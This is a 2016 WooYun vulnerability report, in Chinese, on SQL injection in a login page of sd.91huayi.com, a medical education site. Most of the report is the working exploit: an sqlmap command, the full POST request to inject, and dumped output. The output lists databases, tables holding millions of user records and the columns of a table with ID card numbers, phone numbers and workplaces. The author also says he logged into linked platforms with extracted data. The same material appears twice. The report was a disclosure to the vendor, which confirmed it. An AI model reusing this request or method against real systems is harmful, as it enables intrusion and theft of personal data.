当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2016-0193254

漏洞标题：华医网某站SQL注入可垮裤查询(涉及百万用户信息/包括身份证/手机号/所在单位等敏感信息)

相关厂商：91huayi.com

漏洞作者： 黑色键盘丶

提交时间：2016-04-07 09:28

修复时间：2016-05-22 09:40

公开时间：2016-05-22 09:40

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2016-04-07： 细节已通知厂商并且等待厂商处理中
2016-04-07： 厂商已经确认，细节仅向厂商公开
2016-04-17： 细节向核心白帽子及相关领域专家公开
2016-04-27： 细节向普通白帽子公开
2016-05-07： 细节向实习白帽子公开
2016-05-22： 细节向公众公开

简要描述：

RT

详细说明：

注入语法：sqlmap.py -r 2.txt --dbs
--------------------------------------------------------------------------------------
POST /login.aspx HTTP/1.1
Host: sd.91huayi.com
Proxy-Connection: keep-alive
Content-Length: 221
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://sd.91huayi.com
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.122 Safari/537.36 SE 2.X MetaSr 1.0
Content-Type: application/x-www-form-urlencoded
Referer: http://sd.91huayi.com/
Accept-Encoding: gzip,deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: looyu_id=0f2f6b455495e45114c7aa843653f9f83b_51120%3A1; looyu_51120=v%3Ad09facbced769afb568b63c729775f0dff%2Cref%3A%2Cr%3A%2Cmon%3Ahttp%3A//m157.looyu.com/monitor
__VIEWSTATE=%2FwEPDwUKMTMwMzE1NjIzMWRkN09VyU3pKk%2BVZ13kbr0ejTV4DDg%3D&__EVENTVALIDATION=%2FwEWBALu85vFCgLMv%2BOiBQKd%2B7qdDgLCi9reAx0kT7dTRx1mONp7IZL%2BlSsnQX2R&txtUserAccount=111&txtPwd=111&btnSubmit=%E7%99%BB+%E5%BD%95


数据库：

available databases [7]:
[*] HY_Common
[*] HY_COMMON_TABLEBACK
[*] master
[*] model
[*] msdb
[*] sync_personnel
[*] tempdb


q.png


当前库表信息

Database: HY_Common
+--------------------------------+---------+
| Table                          | Entries |
+--------------------------------+---------+
| dbo.com_user_project           | 5411763 |
| dbo.syncobj_0x4346324545464338 | 5411763 |
| dbo.com_user_login             | 5229607 |
| dbo.syncobj_0x4635304543323243 | 5229607 |
| dbo.com_personnel              | 4366650 |
| dbo.syncobj_0x3134373644433832 | 4366650 |
| dbo.v_zhangguichao             | 4366650 |
| dbo.view_kjpt_person           | 2588904 |
| dbo.com_user                   | 1788747 |
| dbo.danwei_bak                 | 1120941 |
| dbo.yang_unit2                 | 1120941 |
| dbo.exceptioninfo              | 678473  |
| dbo.ytno_faileure              | 603737  |
| dbo.com_ic_no_match            | 215639  |
| dbo.syncobj_0x3543304535374539 | 215639  |
| dbo.com_personnel_ext          | 71166   |
| dbo.syncobj_0x4143394236373832 | 71166   |
| dbo.chengdu_person_view        | 67910   |
| dbo.com_main_unit              | 55664   |
| dbo.syncobj_0x4639374530364239 | 55664   |
| dbo.user_login_log             | 55578   |
| dbo.personnel_log              | 37489   |
| dbo.com_hospital_cme           | 28473   |
| dbo.syncobj_0x4132343946333730 | 28473   |
| dbo.com_hospital               | 28470   |
| dbo.v_hy_com_hospital          | 28470   |
| dbo.com_personnel_rp           | 19035   |
| dbo.hy_common_person_merge_log | 7074    |
| dbo.com_county                 | 3231    |
| dbo.syncobj_0x4539374343394642 | 3231    |
| dbo.v_com_pcc                  | 3231    |
| dbo.com_site_area              | 1175    |
| dbo.syncobj_0x3933364332463435 | 1175    |
| dbo.com_person_spec            | 503     |
| dbo.syncobj_0x3338464544453439 | 503     |
| dbo.com_city                   | 370     |
| dbo.hy_com_city                | 370     |
| dbo.syncobj_0x4141444242383538 | 370     |
| dbo.sysarticlecolumns          | 260     |
| dbo.com_dictionary             | 233     |
| dbo.hy_com_dictionary          | 233     |
| dbo.syncobj_0x4437423946374645 | 233     |
| dbo.dict_speciality            | 232     |
| dbo.syncobj_0x4345314634303046 | 232     |
| dbo.syssubscriptions           | 216     |
| dbo.com_title                  | 128     |
| dbo.syncobj_0x4230424141353035 | 128     |
| dbo.com_speciality             | 86      |
| dbo.hy_com_dept                | 86      |
| dbo.syncobj_0x3246323844304239 | 86      |
| dbo.temp_0603                  | 86      |
| dbo.com_site_dict              | 53      |
| dbo.syncobj_0x3141443136414141 | 53      |
| dbo.com_province               | 37      |
| dbo.syncobj_0x3836333741463146 | 37      |
| dbo.sysarticles                | 27      |
| dbo.sysextendedarticlesview    | 27      |
| dbo.syncobj_0x3431424242393832 | 20      |
| dbo.TestTB                     | 20      |
| dbo.site_title                 | 18      |
| dbo.syncobj_0x3842424135413536 | 18      |
| dbo.com_dictionary_kind        | 12      |
| dbo.syncobj_0x4433343331364231 | 12      |
| dbo.com_project                | 11      |
| dbo.syncobj_0x4432333331343538 | 11      |
| dbo.com_unit_level             | 7       |
| dbo.com_unit_property          | 7       |
| dbo.syncobj_0x4344314334323634 | 7       |
| dbo.syncobj_0x4639454536373632 | 7       |
| dbo.com_reg_back               | 5       |
| dbo.com_unit_area              | 5       |
| dbo.syncobj_0x3941413841454245 | 5       |
| dbo.syncobj_0x4636314239393236 | 5       |
| dbo.integralLog                | 4       |
| dbo.com_hospital_attribute     | 2       |
| dbo.syncobj_0x3431454543394239 | 2       |
| dbo.syspublications            | 1       |
| dbo.sysreplservers             | 1       |
+--------------------------------+---------+


跑了小部分数据看了下

w.png


e.png


随手试了下没想到和主站通用的好几个平台都是可以登录的 科教信息管理系统 主站 考试平台呀

qq.jpg


主站登录

qqq.jpg


qqq1.jpg


www.jpg


www1.jpg


111111111.png


333333333333333.png


点到为止不一一测试
可跨库查询

Database: HY_COMMON_TABLEBACK
+--------------------------------+---------+
| Table                          | Entries |
+--------------------------------+---------+
| dbo.com_user_project           | 3812384 |
| dbo.com_user_login             | 3745502 |
| dbo.hy_com_Person              | 3740526 |
| dbo.hy_com_user_register       | 3740526 |
| dbo.hy_com_user_register_v2    | 3740526 |
| dbo.View_Personnel             | 3740526 |
| dbo.View_Personnel_v2          | 3740526 |
| dbo.cme_com_person_view        | 3734309 |
| dbo.com_personnel              | 3029096 |
| dbo.COM_PERSONNEL715           | 2905566 |
| dbo.view_kjpt_person           | 2588922 |
| dbo.com_user                   | 1788747 |
| dbo.com_user_login20121112     | 1725496 |
| dbo.com_user_login20121101     | 1691914 |
| dbo.COM_PERSON                 | 1592265 |
| dbo.COM_PERSON_KJPT            | 1592265 |
| dbo.科教平台用户表             | 1592264 |
| dbo.一同卡号又问题             | 1283616 |
| dbo.v_user_study_info          | 1205557 |
| dbo.personnel_0516             | 972326  |
| dbo.手机处理20130806           | 694408  |
| dbo.com_personnel_bak_liu      | 559586  |
| dbo.tb_368078                  | 368078  |
| dbo.sd711                      | 263786  |
| dbo.com_ic_no_match            | 215639  |
| dbo.cme_user0701               | 161534  |
| dbo.com_personnel_ext          | 71166   |
| dbo.chengdu_person_view        | 67910   |
| dbo.exceptioninfo              | 53837   |
| dbo.com_personnel_rp_all       | 51448   |
| dbo.ytno_faileure              | 50395   |
| dbo.com_main_unit20140228      | 47026   |
| dbo.com_main_unit              | 46453   |
| dbo.com_main_unit628           | 46066   |
| dbo.com_hospital_cme           | 28053   |
| dbo.com_hospital               | 28050   |
| dbo.v_hy_com_hospital          | 28050   |
| dbo.personnel_bak              | 23581   |
| dbo.com_user_login_重复账号    | 21633   |
| dbo.com_personnel_rp           | 19035   |
| dbo.personnel_log              | 18089   |
| dbo.user_login_log             | 18089   |
| dbo.助理医师_bak               | 6026    |
| dbo.临床执业_bak               | 3301    |
| dbo.com_county                 | 3155    |
| dbo.v_com_pcc                  | 3155    |
| dbo.渭南2009                   | 1991    |
| dbo.江西数据                   | 1596    |
| dbo.com_site_area              | 1175    |
| dbo.temp_0516                  | 1089    |
| dbo.hy_common_person_merge_log | 1088    |
| dbo.com_user_login_真正重复账号| 586     |
| dbo.YT_NOchongfu_1             | 499     |
| dbo.四川在岗                   | 495     |
| dbo.山东删除人员数据           | 492     |
| dbo.com_person_spec            | 480     |
| dbo.com_city                   | 369     |
| dbo.hy_com_city                | 369     |
| dbo.tempdodata                 | 324     |
| dbo.dict_speciality            | 282     |
| dbo.com_dictionary             | 233     |
| dbo.hy_com_dictionary          | 233     |
| dbo.com_user_login20141115     | 140     |
| dbo.com_user_login20141115zg   | 139     |
| dbo.com_title                  | 121     |
| dbo.重复教学点                 | 95      |
| dbo.职称对照表                 | 65      |
| dbo.com_site_dict              | 49      |
| dbo.com_province               | 37      |
| dbo.com_speciality             | 36      |
| dbo.hy_com_dept                | 36      |
| dbo.TestTB                     | 20      |
| dbo.site_title                 | 18      |
| dbo.com_dictionary_kind        | 12      |
| dbo.com_project                | 10      |
| dbo.学历对照表                 | 8       |
| dbo.com_unit_level             | 7       |
| dbo.com_unit_property          | 7       |
| dbo.com_reg_back               | 5       |
| dbo.com_unit_area              | 5       |
| dbo.com_hospital_attribute     | 2       |
+--------------------------------+---------+


看了下这个 dbo.v_user_study_info | 1205557 | 学生信息

Database: HY_COMMON_TABLEBACK
Table: v_user_study_info
[21 columns]
+-----------------+------------------+
| Column          | Type             |
+-----------------+------------------+
| city_id         | uniqueidentifier |
| city_name       | varchar          |
| county_id       | uniqueidentifier |
| county_name     | varchar          |
| department2     | varchar          |
| dept_name       | varchar          |
| dict_name       | varchar          |
| ic_no           | varchar          |
| id_card         | varchar          |
| mobile          | varchar          |
| name            | varchar          |
| office_phone    | varchar          |
| person_id       | uniqueidentifier |
| province_id     | uniqueidentifier |
| province_name   | varchar          |
| sex             | char             |
| unit_address    | varchar          |
| unit_name       | varchar          |
| unit_write_name | varchar          |
| unit_zip        | varchar          |
| user_name       | varchar          |
+-----------------+------------------+


这里就跑下身份证信息看下

222222222222.png

漏洞证明：

注入语法：sqlmap.py -r 2.txt --dbs
--------------------------------------------------------------------------------------
POST /login.aspx HTTP/1.1
Host: sd.91huayi.com
Proxy-Connection: keep-alive
Content-Length: 221
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://sd.91huayi.com
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.122 Safari/537.36 SE 2.X MetaSr 1.0
Content-Type: application/x-www-form-urlencoded
Referer: http://sd.91huayi.com/
Accept-Encoding: gzip,deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: looyu_id=0f2f6b455495e45114c7aa843653f9f83b_51120%3A1; looyu_51120=v%3Ad09facbced769afb568b63c729775f0dff%2Cref%3A%2Cr%3A%2Cmon%3Ahttp%3A//m157.looyu.com/monitor
__VIEWSTATE=%2FwEPDwUKMTMwMzE1NjIzMWRkN09VyU3pKk%2BVZ13kbr0ejTV4DDg%3D&__EVENTVALIDATION=%2FwEWBALu85vFCgLMv%2BOiBQKd%2B7qdDgLCi9reAx0kT7dTRx1mONp7IZL%2BlSsnQX2R&txtUserAccount=111&txtPwd=111&btnSubmit=%E7%99%BB+%E5%BD%95


数据库：

available databases [7]:
[*] HY_Common
[*] HY_COMMON_TABLEBACK
[*] master
[*] model
[*] msdb
[*] sync_personnel
[*] tempdb


q.png


当前库表信息

Database: HY_Common
+--------------------------------+---------+
| Table                          | Entries |
+--------------------------------+---------+
| dbo.com_user_project           | 5411763 |
| dbo.syncobj_0x4346324545464338 | 5411763 |
| dbo.com_user_login             | 5229607 |
| dbo.syncobj_0x4635304543323243 | 5229607 |
| dbo.com_personnel              | 4366650 |
| dbo.syncobj_0x3134373644433832 | 4366650 |
| dbo.v_zhangguichao             | 4366650 |
| dbo.view_kjpt_person           | 2588904 |
| dbo.com_user                   | 1788747 |
| dbo.danwei_bak                 | 1120941 |
| dbo.yang_unit2                 | 1120941 |
| dbo.exceptioninfo              | 678473  |
| dbo.ytno_faileure              | 603737  |
| dbo.com_ic_no_match            | 215639  |
| dbo.syncobj_0x3543304535374539 | 215639  |
| dbo.com_personnel_ext          | 71166   |
| dbo.syncobj_0x4143394236373832 | 71166   |
| dbo.chengdu_person_view        | 67910   |
| dbo.com_main_unit              | 55664   |
| dbo.syncobj_0x4639374530364239 | 55664   |
| dbo.user_login_log             | 55578   |
| dbo.personnel_log              | 37489   |
| dbo.com_hospital_cme           | 28473   |
| dbo.syncobj_0x4132343946333730 | 28473   |
| dbo.com_hospital               | 28470   |
| dbo.v_hy_com_hospital          | 28470   |
| dbo.com_personnel_rp           | 19035   |
| dbo.hy_common_person_merge_log | 7074    |
| dbo.com_county                 | 3231    |
| dbo.syncobj_0x4539374343394642 | 3231    |
| dbo.v_com_pcc                  | 3231    |
| dbo.com_site_area              | 1175    |
| dbo.syncobj_0x3933364332463435 | 1175    |
| dbo.com_person_spec            | 503     |
| dbo.syncobj_0x3338464544453439 | 503     |
| dbo.com_city                   | 370     |
| dbo.hy_com_city                | 370     |
| dbo.syncobj_0x4141444242383538 | 370     |
| dbo.sysarticlecolumns          | 260     |
| dbo.com_dictionary             | 233     |
| dbo.hy_com_dictionary          | 233     |
| dbo.syncobj_0x4437423946374645 | 233     |
| dbo.dict_speciality            | 232     |
| dbo.syncobj_0x4345314634303046 | 232     |
| dbo.syssubscriptions           | 216     |
| dbo.com_title                  | 128     |
| dbo.syncobj_0x4230424141353035 | 128     |
| dbo.com_speciality             | 86      |
| dbo.hy_com_dept                | 86      |
| dbo.syncobj_0x3246323844304239 | 86      |
| dbo.temp_0603                  | 86      |
| dbo.com_site_dict              | 53      |
| dbo.syncobj_0x3141443136414141 | 53      |
| dbo.com_province               | 37      |
| dbo.syncobj_0x3836333741463146 | 37      |
| dbo.sysarticles                | 27      |
| dbo.sysextendedarticlesview    | 27      |
| dbo.syncobj_0x3431424242393832 | 20      |
| dbo.TestTB                     | 20      |
| dbo.site_title                 | 18      |
| dbo.syncobj_0x3842424135413536 | 18      |
| dbo.com_dictionary_kind        | 12      |
| dbo.syncobj_0x4433343331364231 | 12      |
| dbo.com_project                | 11      |
| dbo.syncobj_0x4432333331343538 | 11      |
| dbo.com_unit_level             | 7       |
| dbo.com_unit_property          | 7       |
| dbo.syncobj_0x4344314334323634 | 7       |
| dbo.syncobj_0x4639454536373632 | 7       |
| dbo.com_reg_back               | 5       |
| dbo.com_unit_area              | 5       |
| dbo.syncobj_0x3941413841454245 | 5       |
| dbo.syncobj_0x4636314239393236 | 5       |
| dbo.integralLog                | 4       |
| dbo.com_hospital_attribute     | 2       |
| dbo.syncobj_0x3431454543394239 | 2       |
| dbo.syspublications            | 1       |
| dbo.sysreplservers             | 1       |
+--------------------------------+---------+


跑了小部分数据看了下

w.png


e.png


随手试了下没想到和主站通用的好几个平台都是可以登录的 科教信息管理系统 主站 考试平台呀

qq.jpg


主站登录

qqq.jpg


qqq1.jpg


www.jpg


www1.jpg


111111111.png


333333333333333.png


点到为止不一一测试
可跨库查询

Database: HY_COMMON_TABLEBACK
+--------------------------------+---------+
| Table                          | Entries |
+--------------------------------+---------+
| dbo.com_user_project           | 3812384 |
| dbo.com_user_login             | 3745502 |
| dbo.hy_com_Person              | 3740526 |
| dbo.hy_com_user_register       | 3740526 |
| dbo.hy_com_user_register_v2    | 3740526 |
| dbo.View_Personnel             | 3740526 |
| dbo.View_Personnel_v2          | 3740526 |
| dbo.cme_com_person_view        | 3734309 |
| dbo.com_personnel              | 3029096 |
| dbo.COM_PERSONNEL715           | 2905566 |
| dbo.view_kjpt_person           | 2588922 |
| dbo.com_user                   | 1788747 |
| dbo.com_user_login20121112     | 1725496 |
| dbo.com_user_login20121101     | 1691914 |
| dbo.COM_PERSON                 | 1592265 |
| dbo.COM_PERSON_KJPT            | 1592265 |
| dbo.科教平台用户表             | 1592264 |
| dbo.一同卡号又问题             | 1283616 |
| dbo.v_user_study_info          | 1205557 |
| dbo.personnel_0516             | 972326  |
| dbo.手机处理20130806           | 694408  |
| dbo.com_personnel_bak_liu      | 559586  |
| dbo.tb_368078                  | 368078  |
| dbo.sd711                      | 263786  |
| dbo.com_ic_no_match            | 215639  |
| dbo.cme_user0701               | 161534  |
| dbo.com_personnel_ext          | 71166   |
| dbo.chengdu_person_view        | 67910   |
| dbo.exceptioninfo              | 53837   |
| dbo.com_personnel_rp_all       | 51448   |
| dbo.ytno_faileure              | 50395   |
| dbo.com_main_unit20140228      | 47026   |
| dbo.com_main_unit              | 46453   |
| dbo.com_main_unit628           | 46066   |
| dbo.com_hospital_cme           | 28053   |
| dbo.com_hospital               | 28050   |
| dbo.v_hy_com_hospital          | 28050   |
| dbo.personnel_bak              | 23581   |
| dbo.com_user_login_重复账号    | 21633   |
| dbo.com_personnel_rp           | 19035   |
| dbo.personnel_log              | 18089   |
| dbo.user_login_log             | 18089   |
| dbo.助理医师_bak               | 6026    |
| dbo.临床执业_bak               | 3301    |
| dbo.com_county                 | 3155    |
| dbo.v_com_pcc                  | 3155    |
| dbo.渭南2009                   | 1991    |
| dbo.江西数据                   | 1596    |
| dbo.com_site_area              | 1175    |
| dbo.temp_0516                  | 1089    |
| dbo.hy_common_person_merge_log | 1088    |
| dbo.com_user_login_真正重复账号| 586     |
| dbo.YT_NOchongfu_1             | 499     |
| dbo.四川在岗                   | 495     |
| dbo.山东删除人员数据           | 492     |
| dbo.com_person_spec            | 480     |
| dbo.com_city                   | 369     |
| dbo.hy_com_city                | 369     |
| dbo.tempdodata                 | 324     |
| dbo.dict_speciality            | 282     |
| dbo.com_dictionary             | 233     |
| dbo.hy_com_dictionary          | 233     |
| dbo.com_user_login20141115     | 140     |
| dbo.com_user_login20141115zg   | 139     |
| dbo.com_title                  | 121     |
| dbo.重复教学点                 | 95      |
| dbo.职称对照表                 | 65      |
| dbo.com_site_dict              | 49      |
| dbo.com_province               | 37      |
| dbo.com_speciality             | 36      |
| dbo.hy_com_dept                | 36      |
| dbo.TestTB                     | 20      |
| dbo.site_title                 | 18      |
| dbo.com_dictionary_kind        | 12      |
| dbo.com_project                | 10      |
| dbo.学历对照表                 | 8       |
| dbo.com_unit_level             | 7       |
| dbo.com_unit_property          | 7       |
| dbo.com_reg_back               | 5       |
| dbo.com_unit_area              | 5       |
| dbo.com_hospital_attribute     | 2       |
+--------------------------------+---------+


看了下这个 dbo.v_user_study_info | 1205557 | 学生信息

Database: HY_COMMON_TABLEBACK
Table: v_user_study_info
[21 columns]
+-----------------+------------------+
| Column          | Type             |
+-----------------+------------------+
| city_id         | uniqueidentifier |
| city_name       | varchar          |
| county_id       | uniqueidentifier |
| county_name     | varchar          |
| department2     | varchar          |
| dept_name       | varchar          |
| dict_name       | varchar          |
| ic_no           | varchar          |
| id_card         | varchar          |
| mobile          | varchar          |
| name            | varchar          |
| office_phone    | varchar          |
| person_id       | uniqueidentifier |
| province_id     | uniqueidentifier |
| province_name   | varchar          |
| sex             | char             |
| unit_address    | varchar          |
| unit_name       | varchar          |
| unit_write_name | varchar          |
| unit_zip        | varchar          |
| user_name       | varchar          |
+-----------------+------------------+


这里就跑下身份证信息看下

222222222222.png

修复方案：

过滤参数

版权声明：转载请注明来源 黑色键盘丶@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：20

确认时间：2016-04-07 09:39

厂商回复：

谢谢关注！已提交业务部门处理。

最新状态：

暂无